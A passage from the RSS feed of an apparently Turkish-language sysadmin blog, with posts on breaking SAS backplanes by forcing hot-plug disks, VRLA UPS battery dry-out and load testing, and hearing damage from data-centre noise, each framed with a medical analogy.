            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sunucu-agir-geldi-yukseltilmis-tabanin-raised-floor-yercekimiyle-imtihani/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Sıcak Sökme" Disk Yuvaya Oturmayınca: SAS Backplane Kıran Bilek Gücü]]></title>
            <link>http://localhost:3000/blog/post/sicak-sokme-disk-yuvaya-oturmayinca-sas-backplane-kiran-bilek-gucu</link>
            <guid>sicak-sokme-disk-yuvaya-oturmayinca-sas-backplane-kiran-bilek-gucu</guid>
            <pubDate>Sat, 23 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Canlı sistemde disk değiştirirken kızağı zorlayan saha teknisyeninin arkadaki SAS/SATA backplane kartını çatlatması; kaba kuvvetin mikroskobik altın pinlerle imtihanı ve depolama felaketi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sicak-sokme-disk-yuvaya-oturmayinca-sas-backplane-kiran-bilek-gucu/thumbnail" alt=""> Ortopedi ve acil travmatoloji kliniklerinde asistanlara öğretilen en temel ilkelerden biri "eklem redüksiyonu" sanatıdır. Omzu veya kalçası yerinden çıkmış bir hasta sedyede acı içinde kıvranırken, o eklemi yerine oturtmak için asla saf kas gücüyle hoyratça asılamazsınız.</p>
<p>Eğer kemik başı ile yuva (asetabulum veya glenoid kavite) milimetrik olarak doğru açıya getirilmemişse; iki kişinin hastanın koluna var gücüyle asılması kemiği yerine sokmaz. Aksine, eklemin kıkırdak dudağını (labrum) parçalar, brakiyal sinir ağını ezer veya kemik boynunu kırarak hastayı ameliyat masasına mahkûm eder. Redüksiyon bir bilek gücü sporu değil; bir açı, eksen ve hassasiyet zanaatıdır.</p>
<p>Sunucu donanımı ve kurumsal depolama üniteleri (Storage) dünyasında da tam olarak bu anatomik zarafeti unutan, elindeki kaba kuvvetle teknolojiye hükmedebileceğini sananların sebep olduğu korkunç bir enkaz senaryosu vardır: <strong>Yuvaya Oturmayan Hot-Plug Diski Zorlarken SAS Backplane Kartını Kırmak.</strong></p>
<hr>
<h3>Hot-Plug Konforu ve Sahte Kolaylık Hissi</h3>
<p>"Hot-Plug" (veya Hot-Swap), modern kurumsal sunucuların en büyük nimetlerinden biridir. Sunucuyu kapatmadan, müşterilerin trafiğini kesmeden, RAID kontrolcüsü canlı çalışırken arızalı diskin mandalına basarsınız. Mandal yaylanır, diski yavaşça çeker alırsınız. Yeni diski takar, mandalı kapatırsınız. Kontrol kartı diski tanır, rebuild başlar.</p>
<p>Bütün bu süreç broşürlerde ve pazarlama videolarında adeta bir Lego parçası takıp çıkarmak kadar akıcı, yumuşak ve zahmetsiz gösterilir.</p>
<p>Fakat sahaya indiğinizde, özellikle 24 yuvalı daracık 2U kasalarda veya 60 diskli devasa 4U JBOD ünitelerinde fiziksel gerçeklik çok başkadır.</p>
<p>O disklerin girdiği yuvaların en dibinde, kasanın derinliklerinde boydan boya uzanan yeşil/mavi çok katmanlı bir devre kartı vardır: <strong>SAS/SATA Backplane.</strong></p>
<p>Her bir disk yuvasının karşısına gelen o minik SAS soketinde (SFF-8482 veya SFF-8680) onlarca saç teli kalınlığında altın kaplama veri ve güç pini bulunur. O pinlerin lehimlendiği kart, kasanın arkasında sadece birkaç vidayla şasiye tutturulmuş, esnemeye karşı son derece hassas bir elektronik levhadır.</p>
<hr>
<h3>Kızak Raydan Çıktığında Gelen O Uğursuz "ÇAT" Sesi</h3>
<p>Senaryo her zaman aynı dikkatsizlikle başlar:<br>
Teknisyen yedek parçadan yeni bir kurumsal disk çıkarır. Diski metal veya plastik kızağa (caddy) vidalar. Fakat vidalardan biri yuvaya hafifçe eğik girmiş ve başı yarım milimetre dışarıda kalmıştır; ya da kullanılan kızak yan sanayi ucuz bir kopyadır ve kasanın metal rayıyla mükemmel bir paralellik taşımıyordur.</p>
<p>Teknisyen diski yuvaya doğru iter. Diskin gövdesi kasanın içine girer; fakat arka SAS soketine tam oturacağı son bir santimetrede bir dirençle karşılaşır. Ray takılmıştır.</p>
<p>Bu noktada profesyonel bir mühendisin yapması gereken tek bir şey vardır: <strong>Hemen durmak, diski geri çekmek ve takılmanın sebebini (vida başı, yamuk ray, toz, deforme kızak mandalı) gözle incelemek.</strong></p>
<p>Fakat sahadaki aceleci teknisyen ne yapar?<br>
Mandalı iki eliyle kavrar, iki başparmağını diskin ön kapağına dayar ve bütün vücut ağırlığını vererek içeri doğru olanca gücüyle yüklenir:<br>
<em>"Hah oturdu oturacak, biraz sert girdi..."</em></p>
<p>Ve o an:<br>
<strong>"ÇAAATTT!"</strong></p>
<p>O ses, diskin kızağa güvenle kilitlendiğini gösteren o tok metalik klik sesi değildir.<br>
O ses; diskin arkasındaki erkek soketin, backplane üzerindeki dişi SAS yuvasına açılı girmesiyle plastik tırnağı kırmasının, altın pinleri jilet gibi bükmesinin ve daha da kötüsü, arkadaki o koskoca çok katmanlı backplane PCB kartını dikey eksende çatlatmasının sesidir!</p>
<hr>
<h3>Tek Bir Diski Zorlarken Kırılan On İki Yuva</h3>
<p>Bir sunucuda veya storage ünitesinde SAS backplane kartı sadece tek bir diske özel bağımsız bir kart değildir. Genellikle 8'li, 12'li veya 24'lü gruplar halinde tek parça bir PCB levha olarak üretilir ve arkasında bir SAS Expander (genişletici) çipi barındırır.</p>
<p>Kaba kuvvetle içeri itilen o tek disk yüzünden kart ortadan ikiye esnediğinde ne olur?</p>
<ol>
<li><strong>İç Bakır Yollarının Kopması:</strong> Çok katmanlı (multi-layer) kartın içindeki mikroskobik sinyal yolları görünmez şekilde kopar.</li>
<li><strong>Kısa Devre ve Güç Hattı Çöküşü:</strong> Bükülen 12V güç pinleri birbirine değer. Kontrol kartı anında aşırı akım (overcurrent) korumasına geçerek tüm backplane'in elektriğini keser.</li>
<li><strong>Komşu Disklerin Toplu Ölümü:</strong> Tek bir diski değiştirmek isterken, o backplane kanalına bağlı çalışan diğer 11 adet sapasağlam prodüksiyon diski de bir anda offline duruma düşer!</li>
</ol>
<p>Canlı çalışan sanallaştırma havuzları kütük gibi yere çakılır, RAID kontrolcüsü <code>Controller Fatal Error - Backplane Communication Lost</code> diyerek panikler.</p>
<p>Mühendis panikle diski dışarı çeker ama nafiledir; yuvaya fenerle baktığında SAS soketinin kırılmış plastik parçalarının ve ezilmiş altın pinlerin yuvanın dibinde bir enkaz gibi yattığını görür.</p>
<hr>
<h3>Çözümün İmkansızlığı: Canlı Ameliyatta Organ Değişimi</h3>
<p>Bir backplane kartını kırmak, bir sunucunun başına gelebilecek en büyük fiziksel felaketlerden biridir.</p>
<p>Çünkü bir sabit diski değiştirmek 10 saniyedir; bir güç kaynağını değiştirmek 5 saniyedir.<br>
Fakat bir SAS backplane kartını değiştirmek için:</p>
<ul>
<li>O kasadaki tüm diskleri (24 adet) sıra numaralarını kaybetmeden dışarı çıkarmanız gerekir.</li>
<li>Sunucunun tüm kablolarını söküp kasanın tamamını kabinden indirmeniz gerekir.</li>
<li>Anakartı, hava yönlendiricileri, fan bloklarını ve SAS kablolarını tek tek söküp kasayı tamamen çıplak hale getirmeniz gerekir.</li>
</ul>
<p>Ve eğer şirketinizin rafında o sunucu modeline ait birebir yedek bir backplane kartı yoksa; yurt dışından veya distribütörden o parçanın gelmesi en az 3 ila 7 gün sürecektir.</p>
<p>Şirketin tüm operasyonu, sadece iki başparmağıyla yuvaya disk bastıran bir teknisyenin kaba kuvveti yüzünden günlerce felç olur.</p>
<hr>
<h3>Sahada Kas Gücü Değil, Açısal Zarafet</h3>
<p>Bilişim altyapısı bir inşaat şantiyesi değildir; mikron düzeyinde toleranslarla çalışan bir hassas mühendislik alanıdır. Sahada şu kurallar demir disiplinle uygulanmalıdır:</p>
<ul>
<li><strong>Sıfır Direnç Kuralı (Zero Resistance):</strong> Bir sunucu parçası —ister bir RAM modülü, ister bir PCIe kartı, ister bir hot-plug disk olsun— yuvasına otururken olağan dışı bir sertlik gösteriyorsa, orada bir problem vardır. Asla bastırılmaz, asla zorlanmaz. Parça geri çekilir ve eksen kontrolü yapılır.</li>
<li><strong>Doğru Vida ve Orijinal Kızak:</strong> Çıkma, yamuk veya uyumsuz kızaklar kullanılmamalıdır. Diski kızağa bağlayan havşa başlı özel vidalar (flat-head drive screws) tam yuvasına gömülmeli, dışarıda en ufak bir çıkıntı bırakmamalıdır.</li>
<li><strong>Mandal Kaldıraç Mantığı:</strong> Hot-plug kızakların üzerindeki mandallar birer kaldıraçtır (lever). Disk yuvaya elle itilerek değil; mandalın yavaşça kapatılmasıyla oluşan o mekanik kaldıraç kuvvetiyle kendiliğinden, pürüzsüzce oturmalıdır. Eğer mandalı kapatırken aşırı güç harcamanız gerekiyorsa ray oturmamış demektir.</li>
</ul>
<p>Tıpta omzu çıkmış hastaya asılarak kemiği kıran asistana cerrah denmez.</p>
<p>Veri merkezinde de yuvaya girmeyen diski yumrukla veya vücut ağırlığıyla içeri sokmaya çalışan kişiye mühendis denmez; o sadece arkasında trilyonluk enkaz bırakan bir tehlike kaynağıdır. Hassas parçalar güçle değil, akılla ve zarafetle yönetilir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Donanım</category>
            <category>Depolama</category>
            <category>SAS</category>
            <category>Backplane</category>
            <category>Sunucu</category>
            <category>SysAdmin</category>
            <category>Veri Merkezi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sicak-sokme-disk-yuvaya-oturmayinca-sas-backplane-kiran-bilek-gucu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Sessiz Katil" Akü Kuruması: UPS Akü Bankalarının Sürpriz İflası]]></title>
            <link>http://localhost:3000/blog/post/sessiz-katil-aku-kurumasi-ups-aku-bankalarinin-surpriz-iflasi</link>
            <guid>sessiz-katil-aku-kurumasi-ups-aku-bankalarinin-surpriz-iflasi</guid>
            <pubDate>Fri, 22 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[UPS göstergesinde %100 görünen VRLA akülerin elektrik kesildiği an saniyeler içinde çökmesi; elektrolit kuruması, sülfatlaşma ve seri bağlı akülerin efor testi faciası.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sessiz-katil-aku-kurumasi-ups-aku-bankalarinin-surpriz-iflasi/thumbnail" alt=""> Kardiyoloji kliniklerinde ve acil servislerde hekimleri en çok korkutan tablolardan biri "sessiz iskemi" ve asemptomatik koroner arter hastalığıdır.</p>
<p>Hasta günlük hayatında evinde televizyon izlerken veya düz yolda yavaşça yürürken hiçbir göğüs ağrısı hissetmez. Hastaneye gelir, sedyeye yatırıp standart bir istirahat EKG'si çekersiniz. Çıkan kağıt şeride bakarsınız: Sinüs ritmi düzgündür, ritim kusursuz görünür, "Kalbiniz maşallah taş gibi" diyebilirsiniz. Çünkü istirahat halindeki bir kalp, yüzde seksen tıkalı bir damarla bile vücuda yetecek kadar kan pompalayabilir.</p>
<p>Fakat o hastayı alıp koşu bandında <strong>Efor Testine (Treadmill Efor Testi)</strong> soktuğunuz an, kalp hızı dakikada 140'a ulaştığı saniyede gerçek ortaya çıkar: O tıkalı damar artan oksijen ihtiyacını karşılayamaz, EKG'de ST segmenti aniden uçuruma yuvarlanır ve hasta göğsünü tutarak bandın üzerine yığılır.</p>
<p>Veri merkezlerinde, trafo merkezlerinde ve hastane güç odalarında da tam olarak bu istirahat EKG'si yalanını yaşayan ve sahte bir yeşil ışığın ardına saklanan devasa bir saatli bomba vardır: <strong>UPS Akü Bankalarının Sessiz Elektrolit Kuruması (Dry-Out).</strong></p>
<hr>
<h3>Göstergedeki %100 Yalanı</h3>
<p>Bir veri merkezinin elektrik odasına girip 200 kVA'lık devasa bir Kesintisiz Güç Kaynağının (UPS) ön panelindeki dijital ekrana baktığınızda genellikle şu iç rahatlatıcı tabloyu görürsünüz:<br>
<code>UPS Status: Normal - Inverter Online</code><br>
<code>Battery Capacity: 100%</code><br>
<code>DC Bus Voltage: 540V (Float Charge)</code></p>
<p>Sistem yöneticisi veya tesis teknisyeni bu ekrana bakar, rapor defterine "Aküler sağlam" yazar ve kapıyı kapatıp gider.</p>
<p>Oysa o LCD ekranda yazan "%100" ibaresi, akülerin enerjisini değil; sadece o an akü kutuplarına basılan şamandıra şarj voltajını (float voltage) ölçen basit bir voltmetrenin okuduğu yüzeysel değerdir. Yani tıptaki o sakin istirahat EKG'sinden farksızdır.</p>
<p>Akü odasında yan yana, üst üste çelik raflara dizilmiş olan o 40 veya 64 adetlik VRLA (Valve Regulated Lead Acid) kurşun-asit akü bloğunun derinliklerinde ise bambaşka, ölümcül bir kimyasal çürüme yaşanmaktadır.</p>
<hr>
<h3>Hücrenin Sessiz Ölümü: Termal Kaçak ve Elektrolit Kaybı</h3>
<p>VRLA aküler kapalı (sealed) sistemlerdir; bakım gerektirmez gibi pazarlanırlar ama aslında çevre şartlarına karşı birer bebektirler.</p>
<p>Akülerin kimyasal ömrünü belirleyen en acımasız parametre <strong>sıcaklıktır.</strong><br>
Kimya kanunudur (Arrhenius denklemi): Standart bir kurşun-asit akü için ideal çalışma sıcaklığı <strong>20°C ile 25°C</strong> arasıdır. Akü odasının sıcaklığı her 10°C arttığında (örneğin klima yetersiz kalıp oda 35°C olduğunda), akünün kimyasal ömrü <strong>tam yarı yarıya kısalır!</strong></p>
<p>Sıcaklık ve sürekli uygulanan şamandıra şarjı altında akünün içinde iki sinsi süreç başlar:</p>
<ol>
<li><strong>Elektrolit Kuruması (Dry-Out):</strong> Akünün içindeki cam elyaf separatörlere (AGM) emdirilmiş olan asidik sıvı elektrolit, yüksek ısı yüzünden mikroskobik emniyet valflerinden gaz fazında dışarı sızar. Akünün içi kurur, kimyasal reaksiyona girecek sıvı kalmaz.</li>
<li><strong>Pozitif Plaka Korozyonu ve Sülfatlaşma:</strong> Kurşun plakaların üzerinde sert kurşun sülfat kristalleri birikir. Akünün iç direnci (Internal Resistance - IR) sessizce katlanarak yükselir.</li>
</ol>
<p>Dışarıdan baktığınızda akünün plastik kasası yerindedir, voltmetreyi değdirdiğinizde kutup başlarında 13.5 Volt görürsünüz.</p>
<p>Fakat o akü artık bir akü değildir; o sadece içi kurumuş, elektrik depolama yeteneğini kaybetmiş bir taş parçasıdır.</p>
<hr>
<h3>Efor Testi Geldiğinde: 3 Saniyelik Kıyamet</h3>
<p>Ve o beklenen gün gelir. Şehir şebekesinde bir fırtına kopar, trafo patlar veya inşaat kepçesi orta gerilim kablosunu koparır. Şebeke elektriği küt diye kesilir.</p>
<p>UPS için "Efor Testi" başlamıştır!<br>
İnvertör, kabinlerdeki yüzlerce sunucuyu, storage'ı ve switch'i ayakta tutabilmek için akü bankasına asılır. Akülerden bir anda <strong>250 - 300 Amperlik devasa bir deşarj akımı</strong> çekilmeye başlar.</p>
<p>İşte felaket tam bu anda, elektriğin temel fizik kuralıyla patlak verir: <strong>Seri Bağlı Devre İlkesi.</strong></p>
<p>Yüksek DC voltajı (örneğin 400V veya 540V DC) elde edebilmek için o 40 adet 12V'luk akü birbirine kalın bakır baralarla <strong>arka arkaya, seri olarak</strong> bağlanmıştır.<br>
Bir zincir, en zayıf halkası kadar güçlüdür.</p>
<p>O 40 akünün 39 tanesi taptaze, sıfır kilometre olsa bile; içlerinden sadece <strong>tek bir tanesi</strong> kurumuşsa ve iç direnci yükselmişse ne olur?</p>
<ol>
<li>300 Amperlik devasa akım o kurumuş akünün içinden geçmeye çalıştığı anda, Ohm kanunu gereği (<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>V</mi><mo>=</mo><mi>I</mi><mo>×</mo><mi>R</mi></mrow><annotation encoding="application/x-tex">V = I \times R</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span></span></span></span>) o bozuk hücrenin üzerinde devasa bir voltaj düşüşü ve korkunç bir ısı açığa çıkar.</li>
<li>Akünün içindeki kurşun köprüler saniyeler içinde erir ve <strong>açık devreye (Open Circuit)</strong> düşer!</li>
<li>Tek bir akü açık devreye düştüğü anda, o seri zincir kopar. Zincir koptuğu için 40 akünün tamamının invertörle olan bağlantısı sıfıra iner!</li>
</ol>
<p>UPS'in ekranında "%100" yazan gösterge, şebeke kesildikten tam <strong>üç saniye sonra</strong> kırmızıya döner:<br>
<code>CRITICAL ALARM: DC Bus Undervoltage / Battery Disconnected.</code><br>
<code>INVERTER SHUTDOWN.</code></p>
<p>Ve tüm veri merkezi, jeneratörün marş sesini dahi duyamadan zifiri bir karanlığa gömülür.</p>
<p>Mühendisler şok içindedir: <em>"Ama akülerimiz ekranda yüzde yüz görünüyordu!"</em></p>
<hr>
<h3>Akülerin Sağlığı Ekrana Bakarak Değil, Yük Altında Ölçülür</h3>
<p>Bir UPS sistemini gerçek anlamda güvende tutmak istiyorsanız, o sahte yeşil ekranın rehavetini terk etmek ve şu katı bakım protokollerini uygulamak zorundasınız:</p>
<ol>
<li><strong>İç Direnç (Internal Resistance / Conductance) Testi:</strong> Her üç ayda bir, özel el tipi akü analizörleri (Fluke, Hioki vb.) ile her bir akünün iç direnci tek tek ölçülmelidir. Bir akünün iç direnci fabrika referans değerinin yüzde 30-50 üzerine çıktıysa, o akü diğerlerini beklemeden derhal gruptan çıkarılıp yenilenmelidir.</li>
<li><strong>Yapay Yük Bankası ile Deşarj Testi (Load Bank Testing):</strong> Yılda en az bir kez, veri merkezi UPS'i sahte dirençlerden oluşan harici bir "Yük Bankasına" bağlanmalı ve aküler tam yük altında en az 15-30 dakika boyunca gerçek akımla deşarj edilmelidir. Hangi hücrenin voltajının erken çöktüğü sadece bu test sırasında ortaya çıkar.</li>
<li><strong>BMS (Battery Monitoring System) Entegrasyonu:</strong> Her akünün kutup başına bağımsız bir sensör takılmalı; her bir hücrenin voltajı, iç direnci ve kutup başı sıcaklığı 7/24 anlık olarak izlenmeli, sapan tek bir hücre olduğunda sistem alarm üretmelidir.</li>
<li><strong>Beş Yıl Kuralı:</strong> VRLA akülerin broşüründe "10 yıl tasarım ömrü" yazabilir. Sahadaki gerçek veri merkezi ömrü <strong>3 ila 5 yıldır.</strong> Beşinci yılını doldurmuş bir VRLA akü grubunu serviste tutmak, pimi çekilmiş el bombasıyla uyumaktır.</li>
</ol>
<p>Tıpta hastanın yüzüne ve dinlenme nabzına bakarak kalp sağlığına karar verilmez; efor testi yapılır.</p>
<p>Veri merkezinde de UPS göstergesindeki o yeşil ışığa kanıp arkanıza yaslanmayın. Akülerinizi yük bankasıyla efor testine sokun; yoksa gerçek bir elektrik kesintisi anında o efor testini trilyonluk sunucularınızın hayatıyla ödersiniz.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>UPS</category>
            <category>Akü</category>
            <category>VRLA</category>
            <category>Veri Merkezi</category>
            <category>Elektrik</category>
            <category>Altyapı</category>
            <category>Kriz Yönetimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sessiz-katil-aku-kurumasi-ups-aku-bankalarinin-surpriz-iflasi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Gürültüyle Mücadele": Veri Merkezinde Yüksek Frekans Sesi ve Kulak Çınlaması]]></title>
            <link>http://localhost:3000/blog/post/gurultuyle-mucadele-veri-merkezinde-yuksek-frekans-sesi-ve-kulak-cinlamasi</link>
            <guid>gurultuyle-mucadele-veri-merkezinde-yuksek-frekans-sesi-ve-kulak-cinlamasi</guid>
            <pubDate>Thu, 21 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[15.000 RPM devirle dönen sunucu fanlarının, IGBT anahtarlamalarının ve soğutma kompresörlerinin yarattığı kalıcı işitme hasarı; odyolojik gerçekler ve sessizliğini kaybeden mühendislerin görünmez faturası.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/gurultuyle-mucadele-veri-merkezinde-yuksek-frekans-sesi-ve-kulak-cinlamasi/thumbnail" alt=""> 112 ambulanslarında nöbet tuttuğum yıllarda meslek büyüklerimizin en büyük şikayetlerinden biri, sol kulaklarındaki açıklanamayan sağırlık ve gece uyurken kafalarının içinde hiç susmayan o hayali cırcır böceği sesiydi. Siren cihazının kabini tavanda tam da şoför mahallinin sol üst köşesine denk gelirdi. Gece gündüz, trafikte yol açmak için açılan o 120 desibellik tiz elektronik siren, yıllar içinde personelin iç kulağındaki hücreleri mikron mikron budardı. Gençken "Aman ne olacak, işimizin parçası" deyip geçilen o gürültü; kırk yaşına gelindiğinde insanın en temel insani lüksünü —sessizliği— elinden alan kalıcı bir cezaya dönüşürdü.</p>
<p>Teknoloji dünyasında da dışarıdan bakıldığında tertemiz, pürüzsüz, cam ve çelikten ibaret fütüristik bir cennet gibi pazarlanan; fakat içine girdiğinizde tam anlamıyla biyolojik bir işkence odasına dönüşen bir mekan vardır: <strong>Veri Merkezinin Beyaz Odası (White Space).</strong></p>
<p>Ve bu odalarda yıllarını geçirmiş kıdemli altyapı mühendislerinin, gece başlarını yastığa koyduklarında duydukları o tek frekanslı tiz ıslığın adı tıpta çok nettir: <strong>Akustik Travma ve Tinnitus.</strong></p>
<hr>
<h3>Jet Motoru Koridoru: Desibel Tablosu</h3>
<p>Bir veri merkezinin ağır çelik kapısını açtığınız o ilk anda yüzünüze çarpan şey sadece soğuk hava değildir; ciğerlerinizi titreten, göğüs kafesinize baskı yapan devasa bir ses duvarıdır.</p>
<p>Bu ses sokaktaki araba gürültüsüne veya bir inşaat şantiyesine benzemez. Bu; yüzlerce, binlerce küçük, mekanik canavarın aynı anda ürettiği yüksek frekanslı bir aerodinamik çığlıktır.</p>
<p>Gürültünün kaynaklarına bakalım:</p>
<ol>
<li><strong>1U/2U Sunucu Fanları:</strong> Bir sunucunun içinde hava akışını sağlayabilmek için 40 milimetrelik veya 60 milimetrelik minik fanlar kullanılır. Bu fanlar hava direncini kırabilmek için dakikada <strong>15.000 ila 22.000 devir (RPM)</strong> hızla döner! 42U'luk tek bir kabinde bu fanlardan en az 100-150 adet bulunur. Çıkardıkları ses tam anlamıyla minyatür bir jet motorunun türbin sesidir.</li>
<li><strong>Hassas Kontrollü Klimalar (CRAC / CRAH):</strong> Odanın kenarlarında duran ve binlerce metreküp havayı saniyede devridaim eden devasa radyal fanlar ve kompresörler; düşük frekanslı, duvarları titreten bir uğultu (infrasound) yayar.</li>
<li><strong>UPS ve Güç Dönüştürücüler:</strong> Güç odalarındaki devasa IGBT yarı iletken anahtarlama elemanları, insan kulağının sınırlarında gezinen <strong>16 kHz - 18 kHz bandında</strong> çok tiz, iğne gibi batan bir bobin vızıltısı (coil whine) üretir.</li>
</ol>
<p>Bir desibelmetre ile soğuk koridorda yürüdüğünüzde ibrenin <strong>85 dB ile 96 dB</strong> arasında gidip geldiğini görürsünüz.</p>
<p>Uluslararası İş Sağlığı ve Güvenliği (OSHA) standartlarına göre; 85 desibel gürültüye kulak korumasız maruz kalma süresinin güvenli üst sınırı <strong>günde en fazla 8 saattir.</strong> 95 desibelde ise bu sınır <strong>45 dakikaya</strong> iner!</p>
<p>Oysa bir arıza çıktığında, storage kabininde disk rebuild ederken veya fiber çekerken o odada kulaklıksız 6-8 saat aralıksız çalışan yüzlerce genç mühendis vardır.</p>
<hr>
<h3>Kokleanın Ölümü: Geri Dönüşü Olmayan Yıkım</h3>
<p>İç kulağımızda salyangoz kabuğuna benzeyen "koklea" (cochlea) adında minicik bir organ vardır. Kokleanın içinde ses dalgalarını elektrik sinyallerine dönüştürüp beyne ileten yaklaşık 15.000 adet mikroskobik tüy hücresi (stereocilia) bulunur.</p>
<p>Bu tüy hücreleri bir buğday tarlası gibidir. Hafif bir rüzgarda (normal konuşma sesi) tatlı tatlı salınırlar.<br>
Fakat 90 desibellik yüksek frekanslı bir sunucu fanının çıkardığı ses dalgaları, o buğday tarlasına inen bir kasırga gibidir.</p>
<p>Hücreler aşırı mekanik strese ve metabolik yorgunluğa maruz kalır. Bir süre sonra o minik tüy hücreleri kökünden kırılır ve ölür.<br>
Ve insan biyolojisinin en acı gerçeği şudur:<br>
<strong>İç kulaktaki tüy hücreleri kendilerini asla yenileyemez.</strong></p>
<p>Karaciğeriniz kendini onarabilir, kırılan kemiğiniz kaynayabilir, kesilen deriniz kapanabilir. Ama ölen bir koklea tüy hücresi sonsuza kadar yok olmuştur.</p>
<p>Gittiği frekans aralığını da beraberinde mezara götürür: Genellikle ilk ölen frekans <strong>4.000 Hz</strong> bandıdır; yani tam da o sunucu fanlarının ve havalandırma jetlerinin ıslık çaldığı frekans!</p>
<hr>
<h3>Tinnitus: Beynin Çaresiz Hayaleti</h3>
<p>Peki sonra ne olur?<br>
Mühendis işini bitirir, veri merkezinden çıkar. Arabasına biner. Kulaklarında hafif bir dolgunluk, sanki su kaçmış gibi bir tıkanıklık hissi (geçici eşik kayması) vardır. "Eve gidince geçer" der.</p>
<p>Birkaç yıl böyle devam eder. Ve bir gün, artık geri dönüşü olmayan o nokta aşılır.</p>
<p>Kişi gece evinde, yatak odasında uyumak için uzanır. Işıklar söner. Odaya mutlak bir sessizlik çöker.<br>
Ve tam o anda, beynin derinliklerinden bir ses yükselmeye başlar:<br>
<em>Sssssss... Çınnnnnnnn...</em></p>
<p>Kişi yataktan kalkar, pencereyi kontrol eder, adaptörlerin fişini çeker. Ses dışarıdan gelmiyordur; ses kafasının tam ortasından gelmektedir.</p>
<p>Tıbbi açıklaması şudur: 4.000 Hz'deki tüy hücreleri öldüğü için iç kulaktan beyne o frekansta hiçbir sinyal gitmemektedir. Beyin ise bu mutlak sessizliği bir hata olarak algılar, sinirsel kazancı (neural gain) sonuna kadar açar ve olmayan o sinyali kendi içinde uydurmaya başlar!</p>
<p>Beyin, ölen sunucu fanının frekansını kafasının içinde 7 gün 24 saat, uykuda, uyanıkken, dinlenirken sonsuz bir döngüde çalmaya başlar.</p>
<p>Bunun bir ameliyatı yoktur. Bunun bir ilacı yoktur. Bunun bir tedavisi yoktur. O ses artık ömrünüzün sonuna kadar sizinle yaşayacak olan bir hayalettir.</p>
<hr>
<h3>"İki Dakikalığına Girdim" Kibri</h3>
<p>Bu trajedinin bir numaralı sebebi teknik cehalet değil; sahadaki <strong>"bana bir şey olmaz" kibridir.</strong></p>
<p>Mühendis kabine bir yama kablosu takacaktır: "Aman iki dakikalık iş için kim takacak şimdi o koca kulaklığı?" der, beyaz odaya korumasız dalar. O iki dakika, arızanın uzamasıyla kırk dakikaya çıkar. Gürültü mikron mikron o kulağı kemirir.</p>
<p>Oysa profesyonel bir veri merkezi kültürü tavizsiz olmalıdır:</p>
<ul>
<li><strong>Kapıda NRR 30+ Kulaklık Şartı:</strong> Odanın kapısına giren herkes —genel müdür de olsa, stajyer de olsa— gürültü azaltma derecesi (NRR) en az 30 dB olan profesyonel atış tipi kulaklıkları veya kaliteli köpük kulak tıkaçlarını takmak zorundadır. Kulaklıksız girmek, şantiyeye baretsiz girmekle aynı suç sayılmalıdır.</li>
<li><strong>Aktif Gürültü Engelleyici (ANC) Aldatmacası:</strong> Pek çok genç mühendis AirPods veya tüketici tipi ANC kulaklıklarla odaya girip müzik dinler. Bu felakettir! Tüketici tipi ANC kulaklıklar düşük frekansları filtreler ama yüksek frekanslı endüstriyel harmonikleri tam olarak kesemez; üstelik mühendis gürültüyü bastırmak için müziğin sesini daha da açarak kulağına ikinci bir darbe vurur! Endüstriyel pasif koruma şarttır.</li>
<li><strong>Yıllık Odyometri Testleri:</strong> Veri merkezinde çalışan her personelin yılda en az bir kez bağımsız bir KBB kliniğinde odyometri (işitme) testine girmesi yasal bir zorunluluk haline getirilmelidir. 4.000 Hz'de en ufak bir çentik (notch) görüldüğü an personel derhal saha rotasyonundan çekilmelidir.</li>
</ul>
<p>Şirketler sunucularının yüzde 99.999 uptime oranıyla övünürler, kesintisiz hizmet ödülleri alırlar.</p>
<p>Fakat o sunucular kesintisiz dönsün diye gecesini gündüzünü o gürültü tünellerinde harcayan personelin kaybettiği işitme duyusunu ve kafasının içinde hiç susmayan o fırtınayı hiçbir SLA tazminatı geri getiremez. Sağlığınız, hiçbir veritabanının uptime'ından daha değersiz değildir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Veri Merkezi</category>
            <category>İş Sağlığı</category>
            <category>Tinnitus</category>
            <category>Donanım</category>
            <category>SysAdmin</category>
            <category>Kültür</category>
            <category>Altyapı</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/gurultuyle-mucadele-veri-merkezinde-yuksek-frekans-sesi-ve-kulak-cinlamasi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Kabin İçi Hava Kısa Devresi": Blanking Panel Takmamanın Termal Faturası]]></title>
            <link>http://localhost:3000/blog/post/kabin-ici-hava-kisa-devresi-blanking-panel-takmamanin-termal-faturasi</link>
            <guid>kabin-ici-hava-kisa-devresi-blanking-panel-takmamanin-termal-faturasi</guid>
            <pubDate>Wed, 20 May 2026 00:00:00 GMT</pubDate>
